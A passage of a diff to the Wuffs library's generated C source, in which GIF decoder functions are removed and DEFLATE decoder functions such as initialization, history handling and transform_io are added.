++wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_slow( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_deflate__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_deflate__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_deflate__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_deflate__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_deflate__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_deflate__decoder__initialize( ++ wuffs_deflate__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ + if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } + +- return wuffs_base__utility__make_rect_ie_u32( +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_dirty_max_excl_y, self->private_impl.f_height)); ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.choosy_decode_huffman_fast64 = &wuffs_deflate__decoder__decode_huffman_fast64__choosy_default; ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_deflate__decoder* ++wuffs_deflate__decoder__alloc(void) { ++ wuffs_deflate__decoder* x = ++ (wuffs_deflate__decoder*)(calloc(1, sizeof(wuffs_deflate__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_deflate__decoder__initialize( ++ x, sizeof(wuffs_deflate__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_deflate__decoder(void) { ++ return sizeof(wuffs_deflate__decoder); + } + +-// -------- func gif.decoder.history_retain_length ++// ---------------- Function Implementations ++ ++// -------- func deflate.decoder.add_history + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__history_retain_length( +- const wuffs_gif__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_deflate__decoder__add_history( ++ wuffs_deflate__decoder* self, ++ wuffs_base__slice_u8 a_hist) { + if (!self) { +- return 0; ++ return wuffs_base__make_empty_struct(); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); + } + +- return 0u; ++ wuffs_base__slice_u8 v_s = {0}; ++ uint64_t v_n_copied = 0; ++ uint32_t v_already_full = 0; ++ ++ v_s = a_hist; ++ if (((uint64_t)(v_s.len)) >= 32768u) { ++ v_s = wuffs_private_impl__slice_u8__suffix(v_s, 32768u); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); ++ self->private_impl.f_history_index = 32768u; ++ } else { ++ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, (self->private_impl.f_history_index & 32767u), 32768), v_s); ++ if (v_n_copied < ((uint64_t)(v_s.len))) { ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, v_n_copied); ++ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); ++ self->private_impl.f_history_index = (((uint32_t)((v_n_copied & 32767u))) + 32768u); ++ } else { ++ v_already_full = 0u; ++ if (self->private_impl.f_history_index >= 32768u) { ++ v_already_full = 32768u; ++ } ++ self->private_impl.f_history_index = ((self->private_impl.f_history_index & 32767u) + ((uint32_t)((v_n_copied & 32767u))) + v_already_full); ++ } ++ } ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, 32768, 33025), wuffs_base__make_slice_u8(self->private_data.f_history, 33025)); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func gif.decoder.workbuf_len ++// -------- func deflate.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_gif__decoder__workbuf_len( +- const wuffs_gif__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_deflate__decoder__get_quirk( ++ const wuffs_deflate__decoder* self, ++ uint32_t a_key) { + if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ return 0; + } + if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && + (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ return 0; + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return 0u; + } + +-// -------- func gif.decoder.restart_frame ++// -------- func deflate.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__restart_frame( +- wuffs_gif__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { ++wuffs_deflate__decoder__set_quirk( ++ wuffs_deflate__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -37252,28 +38578,52 @@ wuffs_gif__decoder__restart_frame( + : wuffs_base__error__initialize_not_called); + } + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } else if (a_io_position == 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func deflate.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_deflate__decoder__dst_history_retain_length( ++ const wuffs_deflate__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } +- self->private_impl.f_delayed_num_decoded_frames = false; +- self->private_impl.f_frame_config_io_position = a_io_position; +- self->private_impl.f_num_decoded_frame_configs_value = a_index; +- self->private_impl.f_num_decoded_frames_value = a_index; +- wuffs_gif__decoder__reset_gc(self); +- self->private_impl.f_call_sequence = 40u; +- return wuffs_base__make_status(NULL); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); + } + +-// -------- func gif.decoder.decode_frame_config ++// -------- func deflate.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_deflate__decoder__workbuf_len( ++ const wuffs_deflate__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++} ++ ++// -------- func deflate.decoder.transform_io + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__decode_frame_config( +- wuffs_gif__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_deflate__decoder__transform_io( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -37283,12 +38633,12 @@ wuffs_gif__decoder__decode_frame_config( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_src) { ++ if (!a_dst || !a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { ++ (self->private_impl.active_coroutine != 1)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -37297,17 +38647,17 @@ wuffs_gif__decoder__decode_frame_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_deflate__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_deflate__error__truncated_input); + goto exit; + } + status = v_status; +@@ -37315,14 +38665,14 @@ wuffs_gif__decoder__decode_frame_config( + } + + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; + exit: +@@ -37332,403 +38682,103 @@ wuffs_gif__decoder__decode_frame_config( + return status; + } + +-// -------- func gif.decoder.do_decode_frame_config ++// -------- func deflate.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame_config( +- wuffs_gif__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_deflate__decoder__do_transform_io( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_background_color = 0; +- uint8_t v_flags = 0; ++ uint64_t v_mark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- if (coro_susp_point) { +- v_background_color = self->private_data.s_do_decode_frame_config[0].v_background_color; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- self->private_impl.f_dirty_max_excl_y = 0u; +- if ((self->private_impl.f_call_sequence & 16u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.choosy_decode_huffman_fast64 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ wuffs_base__cpu_arch__have_x86_bmi2() ? &wuffs_deflate__decoder__decode_huffman_bmi2 : ++#endif ++ self->private_impl.choosy_decode_huffman_fast64); ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ wuffs_base__status t_0 = wuffs_deflate__decoder__decode_blocks(self, a_dst, a_src); ++ v_status = t_0; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_gif__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__skip_frame(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_call_sequence >= 96u) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if ((self->private_impl.f_num_decoded_frame_configs_value > 0u) || (self->private_impl.f_call_sequence == 40u)) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_call_sequence >= 96u) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- } +- v_background_color = self->private_impl.f_black_color_u32_argb_premul; +- if ( ! self->private_impl.f_gc_has_transparent_index) { +- v_background_color = self->private_impl.f_background_color_u32_argb_premul; +- if (self->private_impl.f_quirks[1u] && (self->private_impl.f_num_decoded_frame_configs_value == 0u)) { +- while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- } +- v_flags = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if ((v_flags & 128u) != 0u) { +- v_background_color = self->private_impl.f_black_color_u32_argb_premul; ++ if ( ! wuffs_base__status__is_suspension(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } ++ goto ok; + } +- } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_y1, self->private_impl.f_height)), +- ((wuffs_base__flicks)(self->private_impl.f_gc_duration)), +- self->private_impl.f_num_decoded_frame_configs_value, +- self->private_impl.f_frame_config_io_position, +- self->private_impl.f_gc_disposal, +- ! self->private_impl.f_gc_has_transparent_index, +- false, +- v_background_color); +- } +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame_config[0].v_background_color = v_background_color; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func gif.decoder.skip_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_frame( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_flags = 0; +- uint8_t v_lw = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_flags = t_0; +- } +- if ((v_flags & 128u) != 0u) { +- self->private_data.s_skip_frame[0].scratch = (((uint32_t)(3u)) << (1u + (v_flags & 7u))); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_skip_frame[0].scratch; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_lw = t_1; +- } +- if (v_lw > 8u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_quirks[0u]) { +- self->private_impl.f_delayed_num_decoded_frames = true; +- } else { +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); +- } +- wuffs_gif__decoder__reset_gc(self); +- self->private_impl.f_call_sequence = 32u; +- +- goto ok; +- ok: +- self->private_impl.p_skip_frame[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_skip_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func gif.decoder.decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gif__decoder__decode_frame( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_transformed_history_count, wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)))); ++ wuffs_deflate__decoder__add_history(self, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); + status = v_status; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } + + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_do_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func gif.decoder.do_decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_gif__decoder__do_decode_frame_config(self, NULL, a_src); +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (self->private_impl.f_quirks[5u] && ((self->private_impl.f_frame_rect_x0 == self->private_impl.f_frame_rect_x1) || (self->private_impl.f_frame_rect_y0 == self->private_impl.f_frame_rect_y1))) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_frame_size); +- goto exit; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_id_part1(self, a_dst, a_src, a_blend); +- if (status.repr) { +- goto suspend; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_id_part2(self, a_dst, a_src, a_workbuf); +- if (status.repr) { +- goto suspend; +- } +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); +- wuffs_gif__decoder__reset_gc(self); +- self->private_impl.f_call_sequence = 32u; +- +- ok: +- self->private_impl.p_do_decode_frame[0] = 0; +- goto exit; ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: + return status; + } + +-// -------- func gif.decoder.reset_gc +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_gif__decoder__reset_gc( +- wuffs_gif__decoder* self) { +- self->private_impl.f_gc_has_transparent_index = false; +- self->private_impl.f_gc_transparent_index = 0u; +- self->private_impl.f_gc_disposal = 0u; +- self->private_impl.f_gc_duration = 0u; +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func gif.decoder.decode_up_to_id_part1 ++// -------- func deflate.decoder.decode_blocks + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_up_to_id_part1( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_blocks( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_block_type = 0; ++ uint32_t v_final = 0; ++ uint32_t v_b0 = 0; ++ uint32_t v_type = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -37741,71 +38791,125 @@ wuffs_gif__decoder__decode_up_to_id_part1( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t 